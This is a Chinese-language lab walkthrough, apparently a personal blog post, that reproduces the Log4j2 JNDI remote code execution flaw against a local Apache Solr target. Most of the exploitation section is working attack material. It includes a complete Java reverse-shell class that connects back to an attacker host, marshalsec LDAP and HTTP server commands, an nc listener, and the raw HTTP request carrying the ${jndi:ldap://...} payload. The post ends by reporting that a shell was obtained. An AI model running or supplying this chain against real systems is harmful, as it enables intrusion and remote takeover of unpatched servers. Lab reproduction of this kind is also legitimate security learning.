在金融小甲方实习,一个一个的去找开发修洞但是各种理由拖延的经历,安全部门话语权不够太难推动修复了,说多了都是泪。

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

检测工具

自行GitHub搜索log4jscan,当时还给作者提了几个issue。

靶场搭建

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1

使用浏览器访问:
http://192.168.64.128:8983/solr/#/

漏洞检测

通过burp扩展插件和dnslog日志查看漏洞信息


这里确认indexInfo参数触发漏洞

漏洞利用

参考fastjson漏洞利用,利用恶意ldap服务器进行jndi注入,加载远程恶意类,造成任意代码执行
恶意类
这里先写一个恶意类 Exploit.java,并编译为class文件

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
  public Exploit() throws Exception {
    String host="x.x.x.x";  //修改为反弹服务器
    int port=x;  // 修改为反连端口
    String cmd="/bin/sh";
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
      while(pi.available()>0)
        so.write(pi.read());
      while(pe.available()>0)
        so.write(pe.read());
      while(si.available()>0)
        po.write(si.read());
      so.flush();
      po.flush();
      Thread.sleep(50);
      try {
        p.exitValue();
        break;
      }
      catch (Exception e){
      }
    };
    p.destroy();
    s.close();
  }
}

直接使用python启动服务
python -m SimpleHTTPServer 80 //xxx为web端口
启动恶意ldap服务器
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://x.x.x.x/#Exploit xxx //xxx为ldap端口
nc 监听反连端口
nc -lvvp x //x 为恶意类指定的反连端口

触发漏洞
发送请求

GET /solr/admin/cores?_=1639731882458&wt=json&indexInfo=${jndi:ldap://x.x.x.x:xxx/#Exploit} HTTP/1.1
Host: 192.168.64.128:8983
X-Requested-With: XMLHttpRequest
Referer: http://192.168.64.128:8983/solr/
Cookie: JSESSIONID=066F1A7579CF0FC0C94C097160C692F6
Connection: close

查看ldap服务器响应

查看web服务响应

查看nc监听,可以看到拿到shell了